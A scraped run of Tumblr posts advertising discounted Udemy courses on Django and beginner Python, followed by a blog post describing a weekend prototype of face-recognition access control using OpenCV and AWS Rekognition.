and Django 1.8 & up We use Python 3 and Django 1.10 in this one Anyone looking to learn more about Django Any student looking to build robust cutting edge web applications Python Users Django beginners with some experience, like doing our Try Django (1.8 & up Series) source https://ttorial.com/django-core-reference-guide-core-django-concepts
0 notes
ttorialcom · 7 years ago
Text
[Udemy] Django Core - A Reference Guide to Core Django Concepts
Dive in deep to the core concepts behind the power Django framework written in Python. Using Django 1.10 with Python 3.   What Will I Learn?   Django Models Model Instance Methods & Properties Model-level field validation Django Forms and Formsets Form validation Model Form Function Based Views (FBVs) Class Based Views (CBVs) CRUD in Django Views (Create Retrieve Update Delete List) Django Templates Django translation Deploying Django on a Live Server| Heroku, Webfaction, Linode, Digital Ocean Celery + Redis for asynchronous tasks and scheduled tasks and much more! Requirements are Python 2.7 or 3.3 and Django 1.8 & up We use Python 3 and Django 1.10 in this one Requirements Try Django 1.8 & Up (suggested course is Try Django 1.9 as it has Try Django 1.8 too) Python knowledge is a plus (30 Days of Python is a suggested course) Description Our philosophy is teaching individuals how to code by going through step by step projects. This drives the majority of our content with one exception: the Django Core course.  In this course, we go in-depth into various Django concepts to provide a comprehensive guide to topics that include: Django Models Model Instance Methods & Properties  Model-level field validation How models map to databases and Primary Keys Django Forms and Formsets Relating Data with Foreign Keys in Django Handling Subdomains with Django Hosts Form validation Model Form Function Based Views (FBVs) Class Based Views (CBVs) CRUD in Django Views (Create Retrieve Update Delete List) Django Templates Template Inheritance  Template shortcuts & Filters Django translation and much more! We built this for students looking for a in-depth look at the above concepts. We encourage you to have some experience with Django such as our Try Django series (1.8 & Up) which is available on Udemy. Who is the target audience? Requirements are Python 2.7 or 3.3 and Django 1.8 & up We use Python 3 and Django 1.10 in this one Anyone looking to learn more about Django Any student looking to build robust cutting edge web applications Python Users Django beginners with some experience, like doing our Try Django (1.8 & up Series) source https://ttorial.com/django-core-reference-guide-core-django-concepts
0 notes
lesterwilliams1 · 8 years ago
Text
80% off #From 0 to 1: Learn Python Programming – Easy as Pie – $10
A Python course for absolute beginners – this will take you to a fairly serious early intermediate level.
All Levels,  –   Video: 10.5 hours Other: 0 mins,  55 lectures 
Average rating 4.2/5 (4.2)
Course requirements:
No prior programming experience is needed The course will use a Python IDE (integrated development environment) called iPython from Anaconda. We will go through a step-by-step procedure on downloading and installing this IDE.
Course description:
What’s Covered:
Introductory Python: Functional language constructs; Python syntax; Lists, dictionaries, functions and function objects; Lambda functions; iterators, exceptions and file-handling Database operations: Just as much database knowledge as you need to do data manipulation in Python Auto-generating spreadsheets: Kill the drudgery of reporting tasks with xlsxwriter; automated reports that combine database operations with spreadsheet auto-generation Text processing and NLP: Python’s powerful tools for text processing – nltk and others. Website scraping using Beautiful Soup: Scrapers for the New York Times and Washington Post Machine Learning : Use sk-learn to apply machine learning techniques like KMeans clustering
Hundreds of lines of code with hundreds of lines of comments
Drill #1: Download a zip file from the National Stock Exchange of India; unzip and process to find the 3 most actively traded securities for the day Drill #2: Store stock-exchange time-series data for 3 years in a database. On-demand, generate a report with a time-series for a given stock ticker Drill #3: Scrape a news article URL and auto-summarize into 3 sentences Drill #4: Scrape newspapers and a blog and apply several machine learning techniques – classification and clustering to these
Talk to us!
A Note on the Python versions 2 and 3: The code-alongs in this class all use Python 2.7. Source code (with copious amounts of comments) is attached as a resource with all the code-alongs. The source code has been provided for both Python 2 and Python 3 wherever possible.
Mail us about anything – anything! – and we will always reply
Full details Pick up programming even if you have NO programming experience at all Write Python programs of moderate complexity Perform complicated text processing – splitting articles into sentences and words and doing things with them Work with files, including creating Excel spreadsheets and working with zip files Apply simple machine learning and natural language processing concepts such as classification, clustering and summarization Understand Object-Oriented Programming in a Python context
Full details Yep! Folks with zero programming experience looking to learn a new skill Machine Learning and Language Processing folks looking to apply concepts in a full-fledged programming language Yep! Computer Science students or software engineers with no experience in Java, but experience in Python, C++ or even C#. You might need to skip over some bits, but in general the class will still have new learning to offer you
Full details
Reviews:
“Like the presentation style, easy to understand even for kids. You can be up and running with python in no time.” (Sam)
“Easy to understand and very valuable to me” (Martin Rogers)
“Too much of theory but no coding. This course is not for 0 to 1. The course contents are not constructed properly. Audio quality was poor during the initial videos. Text runs faster than the voice of the instructor or vice-versa.” (Matish Patil)
    About Instructor:
Loony Corn
Loonycorn is us, Janani Ravi, Vitthal Srinivasan, Swetha Kolalapudi and Navdeep Singh. Between the four of us, we have studied at Stanford, IIM Ahmedabad, the IITs and have spent years (decades, actually) working in tech, in the Bay Area, New York, Singapore and Bangalore. Janani: 7 years at Google (New York, Singapore); Studied at Stanford; also worked at Flipkart and Microsoft Vitthal: Also Google (Singapore) and studied at Stanford; Flipkart, Credit Suisse and INSEAD too Swetha: Early Flipkart employee, IIM Ahmedabad and IIT Madras alum Navdeep: longtime Flipkart employee too, and IIT Guwahati alum We think we might have hit upon a neat way of teaching complicated tech courses in a funny, practical, engaging way, which is why we are so excited to be here on Udemy! We hope you will try our offerings, and think you’ll like them
Instructor Other Courses:
Learn By Example: jQuery Learn By Example: Angular JS Learn By Example: Scala …………………………………………………………… Loony Corn coupons Development course coupon Udemy Development course coupon Programming Languages course coupon Udemy Programming Languages course coupon From 0 to 1: Learn Python Programming – Easy as Pie From 0 to 1: Learn Python Programming – Easy as Pie course coupon From 0 to 1: Learn Python Programming – Easy as Pie coupon coupons
The post 80% off #From 0 to 1: Learn Python Programming – Easy as Pie – $10 appeared first on Udemy Cupón.
from Udemy Cupón http://www.xpresslearn.com/udemy/coupon/80-off-from-0-to-1-learn-python-programming-easy-as-pie-10/
from https://xpresslearn.wordpress.com/2017/04/17/80-off-from-0-to-1-learn-python-programming-easy-as-pie-10/
0 notes
lewiskdavid90 · 8 years ago
Text
80% off #From 0 to 1: Learn Python Programming – Easy as Pie – $10
A Python course for absolute beginners – this will take you to a fairly serious early intermediate level.
All Levels,  – 10.5 hours,  55 lectures 
Average rating 3.7/5 (3.7 (68 ratings) Instead of using a simple lifetime average, Udemy calculates a course’s star rating by considering a number of different factors such as the number of ratings, the age of ratings, and the likelihood of fraudulent ratings.)
Course requirements:
No prior programming experience is needed
Tumblr media
The course will use a Python IDE (integrated development environment) called iPython from Anaconda. We will go through a step-by-step procedure on downloading and installing this IDE.
Course description:
What’s Covered:
Introductory Python: Functional language constructs; Python syntax; Lists, dictionaries, functions and function objects; Lambda functions; iterators, exceptions and file-handling Database operations: Just as much database knowledge as you need to do data manipulation in Python Auto-generating spreadsheets: Kill the drudgery of reporting tasks with xlsxwriter; automated reports that combine database operations with spreadsheet auto-generation Text processing and NLP: Python’s powerful tools for text processing – nltk and others. Website scraping using Beautiful Soup: Scrapers for the New York Times and Washington Post Machine Learning : Use sk-learn to apply machine learning techniques like KMeans clustering
Hundreds of lines of code with hundreds of lines of comments
Drill #1: Download a zip file from the National Stock Exchange of India; unzip and process to find the 3 most actively traded securities for the day Drill #2: Store stock-exchange time-series data for 3 years in a database. On-demand, generate a report with a time-series for a given stock ticker Drill #3: Scrape a news article URL and auto-summarize into 3 sentences Drill #4: Scrape newspapers and a blog and apply several machine learning techniques – classification and clustering to these
Talk to us!
A Note on the Python versions 2 and 3: The code-alongs in this class all use Python 2.7. Source code (with copious amounts of comments) is attached as a resource with all the code-alongs. The source code has been provided for both Python 2 and Python 3 wherever possible.
Mail us about anything – anything! – and we will always reply
Tumblr media
Full details Pick up programming even if you have NO programming experience at all Write Python programs of moderate complexity Perform complicated text processing – splitting articles into sentences and words and doing things with them Work with files, including creating Excel spreadsheets and working with zip files Apply simple machine learning and natural language processing concepts such as classification, clustering and summarization Understand Object-Oriented Programming in a Python context
Full details Yep! Folks with zero programming experience looking to learn a new skill Machine Learning and Language Processing folks looking to apply concepts in a full-fledged programming language Yep! Computer Science students or software engineers with no experience in Java, but experience in Python, C++ or even C#. You might need to skip over some bits, but in general the class will still have new learning to offer you
Tumblr media
Full details
Reviews:
“Excellent & Very Precise!! But Resource content is missing for this course.” (Sushil Kumar)
“This is a great python course. You will have the opportunity to dive into relevant topics. They are well selected. You will download files from websites, unzip them, read, process and finally write to Excel. You will work with a database. You will learn about objects , object oriented programming and how to use them. And you learn a lot of meaningful things about text analysis and applications of machine learning. I favor LoonyCorn – in my view, they are head and shoulders above the issues and convey the critical issues.” (H2m2)
“Like the presentation style, easy to understand even for kids. You can be up and running with python in no time.” (Sam)
  About Instructor:
Loony Corn
Loonycorn is us, Janani Ravi, Vitthal Srinivasan, Swetha Kolalapudi and Navdeep Singh. Between the four of us, we have studied at Stanford, IIM Ahmedabad, the IITs and have spent years (decades, actually) working in tech, in the Bay Area, New York, Singapore and Bangalore. Janani: 7 years at Google (New York, Singapore); Studied at Stanford; also worked at Flipkart and Microsoft Vitthal: Also Google (Singapore) and studied at Stanford; Flipkart, Credit Suisse and INSEAD too Swetha: Early Flipkart employee, IIM Ahmedabad and IIT Madras alum Navdeep: longtime Flipkart employee too, and IIT Guwahati alum We think we might have hit upon a neat way of teaching complicated tech courses in a funny, practical, engaging way, which is why we are so excited to be here on Udemy! We hope you will try our offerings, and think you’ll like them
Tumblr media
Instructor Other Courses:
Learn by Example: JUnit Loony Corn, A 4-person team;ex-Google; Stanford, IIM Ahmedabad, IIT (0) $10 $20 Under the Hood: How Cars Work 25 Famous Experiments …………………………………………………………… Loony Corn coupons Development course coupon Udemy Development course coupon Programming Languages course coupon Udemy Programming Languages course coupon From 0 to 1: Learn Python Programming – Easy as Pie From 0 to 1: Learn Python Programming – Easy as Pie course coupon From 0 to 1: Learn Python Programming – Easy as Pie coupon coupons
The post 80% off #From 0 to 1: Learn Python Programming – Easy as Pie – $10 appeared first on Course Tag.
from Course Tag http://coursetag.com/udemy/coupon/80-off-from-0-to-1-learn-python-programming-easy-as-pie-10/ from Course Tag https://coursetagcom.tumblr.com/post/158184091898
0 notes
snortingcode · 8 years ago
Text
Weekend Hack - Face Recognition based Access Control System with Python, OpenCV and Rekognition
My current interest in ML has triggered an urge to revive my Python skills. A good start, I thought, could be experimenting with some Image Processing - mostly to understand the limitations and challenges of tasks like these.
The last time I worked with Image Processing was as part of a PoC for Hadoop. I used HIPI to do the heavy lifting of creating image bundles and preparing them for the underlying HDFS with OpenCV’s java bindings to detect faces using Haar cascades.
The problem statement for this hack extends my experiment with HIPI.
Problem Statement:
Detect human faces on a video feed and compare the captured faces against an image dataset to suggest probable matches to provide access control.
Technology/Tool/Environment Stack:
Python 2.7.x opencv python OSX Sierra AWS Rekocnition
Installation of OpenCV is a major pain! Especially if you wish to work with Videos on Sierra. Most of my time was spent in preparing the workstation with a reliable installation of OpenCV (unsuccessful attempts included installing a pip package that claimed to provide OpenCV but was compiled without ffmpeg). As of now this post is the most reliable source of instructions to install OpenCV on Sierra (and incredibly detailed). I would not reproduce any steps from that guide to avoid redundancy.
You might want to check this guide out if you are new to setting up virtualenv for python development:.
Solution:
The solution revolves around breaking the problem down into smaller tasks that are more or less self contained:
Capture frames of a video (in my case this was a video feed from my internal facetime camera).
Detect human faces in the captured frame.
Have a datastore of known faces (this involves mapping a person with a set of features extracted from their face).
Match the captured frame against the face datastore to grant access or deny it.
Capturing frames from a video feed: Doing this with python is quite straight forward. OpenCV has VideoCapture( ) that gives you a handle on the video. It takes one argument - the identifier for the camera - if you have a single camera, as was my case, just pass a 0.
Detecting human faces in the captured frame: For the purpose of this exercise I was not interested in training the classifier. There are very efficient Haar cascade classifiers that give great accuracy. OpenCV comes equipped with trained classifiers that we would leverage (there are some cool ones that let you identify cats in images too!)
The Haar cascade classifier that I used was: opencv/data/haarcascades/haarcascade_frontalface_default.xml
Working with gray-scale images is faster so we convert the captured frame to gray, create a classifier that can identify a human face in an image (you might have to tweak the classifier to suite your case) and, pass the gray-scale image to it which would return a list of faces it identifies.
I did have to tweak the parameters based on the distance of the camera from the subject, etc. but, it worked well for most parts. It indicated positive results even when the subject was moving fast in front of the camera - it pointed the blurred human face in that case (might not always be what you want - my app breaks in such situations as of now!).
Tumblr media
Face datastore: Enter AWS Rekognition!
Rekognition lets you create a Collection of faces that you can match against. The API is straight forward. One important point to note is that AWS does not store the actual image bytes just an incredibly rich set of features that it associates with the face by giving it a faceId. You can keep adding new faces to this collection by calling the rekognitionClient.index_faces( ) API (I’m using the python sdk - boto3).
You would need to map the returned faceId (and other face metadata) to the actual image of the person or some other identifier for the person and persist it.
Match captured face against the face datastore: Rekognition has a face matching API that takes the CollectionId and image frame and returns the metadata associated with the matched face from the collection (or a no match). A list of matched faces with confidence level is returned in decreasing order of confidence.
If more than one face is detected in the input image, only the largest face is matched.
So there you have it! It is ridiculously easy to build this solution as a PoC. Taking this to production should still not be a very daunting task, it would just take more time to visualize all failure scenarios and account for them.
Here’s the code produced as part of this short hack exercise: https://github.com/prasoonj/tzukuru
Places where I was lazy: - The project structure could be a lot better. - I’m using Mac’s ‘say “Hello World”’ terminal command to announce the name of the person matched (also to produce some delay giving better user interaction). This can certainly be done in a much better way. - There are a lot of scenarios where the app fails right now. No exception handling is done. - Unit tests!
0 notes